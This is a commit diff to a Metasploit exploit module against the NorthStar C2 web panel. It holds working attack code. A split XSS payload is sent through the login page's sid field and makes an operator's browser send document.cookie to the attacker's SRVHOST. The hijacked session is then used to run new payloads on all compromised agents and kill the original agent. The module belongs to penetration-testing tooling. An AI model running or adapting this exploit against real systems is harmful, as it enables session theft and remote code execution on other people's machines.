Skip to content

Commit dd5a8c6

Browse files
committed
northstar_c2 adjustments
1 parent 19af4ae commit dd5a8c6

File tree

1 file changed

+12
-6
lines changed

1 file changed

+12
-6
lines changed

modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb

Lines changed: 12 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@ def initialize(info = {})
2121
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
2222
With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts
2323
(agents), and kill the original agent.
24+
2425
Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
2526
Ubuntu 22.04. The agent was running on Windows 10 19045.
2627
},
@@ -30,7 +31,7 @@ def initialize(info = {})
3031
'chebuya' # original PoC, analysis
3132
],
3233
'DefaultOptions' => {
33-
'WfsDelay' => 3_600, # 1hr
34+
# 'WfsDelay' => 3_600, # 1hr
3435
'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads
3536
},
3637
'References' => [
@@ -145,7 +146,7 @@ def steal_agents(cookie)
145146
agent_exec(agent_id, csrf_token, cookie, payload.encoded)
146147
vprint_status(" (#{agent_id}) Disabling shell mode")
147148
agent_exec(agent_id, csrf_token, cookie, 'disablecmd')
148-
break unless datastore['KILL']
149+
next unless datastore['KILL']
149150

150151
vprint_status(" (#{agent_id}) Killing NorthStar payload")
151152
agent_exec(agent_id, csrf_token, cookie, 'die')
@@ -210,16 +211,15 @@ def srvhost
210211
datastore['SRVHOST']
211212
end
212213

213-
def exploit
214-
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if srvhost == '0.0.0.0'
215-
fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
214+
def primer
216215
@xss_response_received = false
217216
vprint_status('Sending XSS')
218217
# divide up the host length so that it fits in our payload
219218
h1 = srvhost[0...srvhost.length / 2]
220219
h2 = srvhost[srvhost.length / 2..]
221-
sid_payloads = ['N*/</script><q', 'N*/i.src=u/*q', 'N*/new Image;/*q', 'N*/var i=/*q', "N*/s+h+p+'/'+c;/*q", 'N*/var u=/*q', "N*/'http://';/*q", 'N*/var s=/*q', "N*/':#{datastore['SRVPORT']}';/*q", 'N*/var p=/*q', 'N*/a+b;/*q', 'N*/var h=/*q', "N*/'#{h2}';/*q", 'N*/var b=/*q', "N*/'#{h1}';/*q", 'N*/var a=/*q', 'N*/d.cookie;/*q', 'N*/var c=/*q', 'N*/document;/*q', 'N*/var d=/*q', 'N</td><script>/*q']
220+
sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
222221
sid_payloads.each do |pload|
222+
pload = "N#{pload}q"
223223
vprint_status("Sending: #{pload}")
224224
res = send_request_cgi(
225225
'uri' => normalize_uri(target_uri.path, 'login.php'),
@@ -230,8 +230,14 @@ def exploit
230230
)
231231

232232
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
233+
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200
233234
end
234235
print_status('Waiting on XSS execution')
236+
end
237+
238+
def exploit
239+
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
240+
fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
235241
super
236242
end
237243
end

0 commit comments

Comments
 (0)